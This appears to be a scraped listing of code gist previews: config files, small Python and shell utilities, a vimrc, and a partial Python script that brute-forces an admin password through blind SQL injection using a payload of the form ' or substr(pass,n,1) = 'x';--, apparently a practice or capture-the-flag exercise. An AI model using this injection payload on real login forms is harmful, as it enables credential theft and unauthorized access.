This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
# https://www.iwsec.org/mws/2017/20171201/20171201_MWSCup2017_c3.pdf P.8 | |
import json | |
from glob import glob | |
import os.path | |
import csv | |
def main(): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ssid=765pro | |
wpa_passphrase=password | |
interface=wlx503eaa60cbb8 | |
bridge=br0 | |
channel=7 | |
driver=rtl871xdrv | |
#driver=nl80211 | |
#driver=r8188eu | |
hw_mode=g | |
#ieee80211n=1 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$WLANSVC_PID = Get-WmiObject -class win32_service -filter "name='wlansvc'" | findstr ProcessId | % {$($_.split(":"))[1]} | |
taskkill.exe /F /PID $WLANSVC_PID | |
Start-Service -Name wlansvc |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding: utf-8 | |
from plistlib import readPlist | |
import csv | |
type_plist = readPlist("type.plist") | |
dict_plist = readPlist("dictionary.plist") | |
# 分類IDと分類名を格納 | |
# dict型のキーにID、値に分類名を格納 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while [ "$1" != "" ] | |
do | |
service $1 restart | |
shift | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#coding: utf-8 | |
import re | |
import sys | |
data = '''oomktvziqtaovmmpxzoqrzsxlpwpgoj | |
uDQEMISYnnVYnvyWRhHsDXnSCXAVVZj | |
tZbknedErdpvAwQWpUiLqOxIqpafvXp | |
dXoAVWcKppbEPuaqmXWjXJwRoRFOoEg | |
pDiRUXlQjKJlslskVpGwtljGyVJPxHv |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
# 送信データの作成. n=>何文字目の文字を調べたいか, s=>何の文字と照合するか | |
def create_payload(n,s): | |
payload = {"id": "admin", "pass": "' or substr(pass,%d,1) = '%s';--" % (n+1,s)} | |
return payload | |
# [A-Za-z0-9]リスト作成 | |
alnum = [chr(i) for i in range(65,65+26)] | |
for i in range(97,97+26): alnum.append(chr(i)) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# coding: utf-8 | |
# http://momijiame.tumblr.com/post/114751531866/python-iris-%E3%83%87%E3%83%BC%E3%82%BF%E3%82%BB%E3%83%83%E3%83%88%E3%82%92%E3%82%B5%E3%83%9D%E3%83%BC%E3%83%88%E3%83%99%E3%82%AF%E3%82%BF%E3%83%BC%E3%83%9E%E3%82%B7%E3%83%B3%E3%81%A7%E5%88%86%E9%A1%9E%E3%81%97%E3%81%A6%E3%81%BF%E3%82%8B | |
# https://github.com/levelfour/machine-learning-2014/wiki/%E7%AC%AC1%E5%9B%9E---iris-classification | |
# In[1]: | |
#get_ipython().magic('matplotlib inline') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
"http://qiita.com/marrontan619/items/541a1374e1ac672977e6 | |
"http://qiita.com/tetsuya/items/75987487ffac42250d3b | |
"http://itchyny.hatenablog.com/entry/2014/12/25/090000 | |
set number | |
set title | |
set ambiwidth=double | |
set tabstop=2 | |
set expandtab | |
set shiftwidth=4 | |
set smartindent |